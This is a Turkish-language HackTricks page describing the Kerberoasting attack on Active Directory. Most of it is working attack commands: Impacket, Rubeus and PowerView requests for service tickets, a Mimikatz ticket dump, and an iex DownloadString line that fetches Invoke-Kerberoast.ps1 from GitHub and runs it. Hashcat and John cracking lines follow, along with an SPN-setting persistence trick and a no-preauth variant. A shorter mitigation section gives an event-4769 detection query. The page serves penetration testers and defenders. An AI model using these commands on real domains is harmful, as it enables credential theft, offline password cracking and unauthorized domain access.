hacktricks/windows-hardening/active-directory-methodology/kerberoast.md

14 KiB
Raw Blame History

Kerberoast


Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen otomatik iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Sıfırdan kahraman olana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Kerberoast

Kerberoast, özellikle Active Directory (AD) içinde kullanıcı hesapları altında çalışan hizmetlerle ilgili TGS biletlerinin elde edilmesine odaklanır, bilgisayar hesaplarını hariç tutar. Bu biletlerin şifrelemesi, kullanıcı şifrelerinden kaynaklanan anahtarlar kullanır ve çevrimdışı kimlik bilgilerinin kırılma olasılığı sağlar. Bir hizmetin bir kullanıcı hesabı olarak kullanılması, boş olmayan bir "ServicePrincipalName" özelliği ile belirtilir.

Kerberoast'i yürütmek için TGS biletleri isteyebilen bir etki alanı hesabı gereklidir; ancak, bu süreç özel ayrıcalıklar gerektirmez, bu nedenle geçerli etki alanı kimlik bilgilerine sahip herkes tarafından erişilebilir.

Ana Noktalar:

  • Kerberoast, AD içindeki kullanıcı hesabı hizmetleri için TGS biletlerini hedefler.
  • Kullanıcı şifrelerinden kaynaklanan anahtarlarla şifrelenen biletler çevrimdışı kırılabilir.
  • Bir hizmet, boş olmayan bir ServicePrincipalName ile tanımlanır.
  • Sadece geçerli etki alanı kimlik bilgileri gereklidir, özel ayrıcalıklar gerekmez.

Saldırı

{% hint style="warning" %} Kerberoast araçları genellikle saldırıyı gerçekleştirirken ve TGS-REQ isteklerini başlatırken RC4 şifrelemesi istemektedir. Bu, RC4'ün diğer şifreleme algoritmaları olan AES-128 ve AES-256'dan daha zayıf olması ve Hashcat gibi araçlarla çevrimdışı kırılmasının daha kolay olması nedeniyledir.
RC4 (tip 23) hash'leri $krb5tgs$23$* ile başlarken, AES-256 (tip 18) $krb5tgs$18$* ile başlar. {% endhint %}

Linux

# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes

Çok özellikli araçlar, kerberoast edilebilir kullanıcıların bir dökümünü içerir:

# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c

Windows

  • Kerberoast edilebilir kullanıcıları sırala
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
  • Teknik 1: TGS isteyin ve bellekten dökün
#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local

#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#List kerberos tickets in memory
klist

# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
  • Teknik 2: Otomatik araçlar
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins

# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

{% hint style="warning" %} Bir TGS istendiğinde, Windows etkinliği 4769 - Bir Kerberos hizmet bileti istendi oluşturulur. {% endhint %}


Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen otomatikleştirilmiş iş akışları oluşturun ve yönetin.
Hemen Erişim Sağlayın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Kırma

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Kalıcılık

Eğer bir kullanıcı üzerinde yeterli izinlere sahipseniz, onu kerberoast edilebilir hale getirebilirsiniz:

Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

İşte kerberoast saldırıları için yararlı araçlar: https://github.com/nidem/kerberoast

Eğer Linux'tan bu hata ile karşılaşırsanız: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) bu, yerel saatinizden kaynaklanır, ana bilgisayarı DC ile senkronize etmeniz gerekir. Birkaç seçenek bulunmaktadır:

  • ntpdate <DC'nin IP'si> - Ubuntu 16.04'ten itibaren kullanım dışı
  • rdate -n <DC'nin IP'si>

Hafifletme

Kerberoasting, sömürülebilirse yüksek derecede gizlilikle gerçekleştirilebilir. Bu etkinliği tespit etmek için dikkat edilmesi gereken şey, bir Kerberos bileti istendiğini belirten Güvenlik Olay Kimliği 4769'a odaklanmaktır. Ancak, bu olayın yüksek sıklığı nedeniyle, şüpheli etkinlikleri izole etmek için belirli filtreler uygulanmalıdır:

  • Hizmet adı krbtgt olmamalıdır, çünkü bu normal bir istektir.
  • $ ile biten hizmet adları, servisler için kullanılan makine hesaplarını içermemek için hariç tutulmalıdır.
  • Makinelerden gelen istekler, makine@domain biçimindeki hesap adlarını hariç tutarak filtrelenmelidir.
  • Yalnızca başarılı bilet istekleri dikkate alınmalıdır, başarısızlık kodu '0x0' ile belirlenir.
  • En önemlisi, bilet şifreleme türü 0x17 olmalıdır, bu genellikle Kerberoasting saldırılarında kullanılır.
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

Kerberoasting riskini azaltmak için:

  • Hizmet Hesabı Şifrelerinin tahmin edilmesi zor olacak şekilde olmasını sağlayın, en az 25 karakter uzunluğunu önerin.
  • Yönetilen Hizmet Hesapları kullanın, otomatik şifre değişiklikleri ve yetkilendirilmiş Hizmet Başlığı Adı (SPN) Yönetimi gibi faydalar sunarak bu tür saldırılara karşı güvenliği artırın.

Bu önlemleri uygulayarak, kuruluşlar Kerberoasting ile ilişkilendirilen riski önemli ölçüde azaltabilirler.

Alan hesabı olmadan Kerberoast

Eylül 2022'de, bir araştırmacı olan Charlie Clark tarafından bir sistemi sömürmek için yeni bir yol exploit.ph platformu aracılığıyla gün yüzüne çıkarıldı. Bu yöntem, herhangi bir Active Directory hesabı üzerinde kontrol gerektirmeyen bir şekilde Hizmet Biletleri (ST) elde etmeyi sağlar. Temelde, bir pre-authentication gerektirmeyen bir şekilde yapılandırılmış bir başlık varsa - siber güvenlik alanında bilinen bir senaryo olan AS-REP Roasting saldırısı gibi bir senaryo - bu özellik, isteğin işlenmesini manipüle etmek için kullanılabilir. Özellikle, isteğin gövdesindeki sname özniteliğini değiştirerek, sistem, standart şifrelenmiş Bilet Verme Bileti (TGT) yerine bir ST vermesi için aldatılır.

Teknik ayrıntılar bu makalede açıklanmıştır: Semperis blog yazısı.

{% hint style="warning" %} Bu teknik kullanılarak LDAP sorgulamak için geçerli bir hesabımız olmadığından, bir kullanıcı listesi sağlamanız gerekmektedir. {% endhint %}

Linux

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/

Windows

Windows

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"

Referanslar

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:


Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}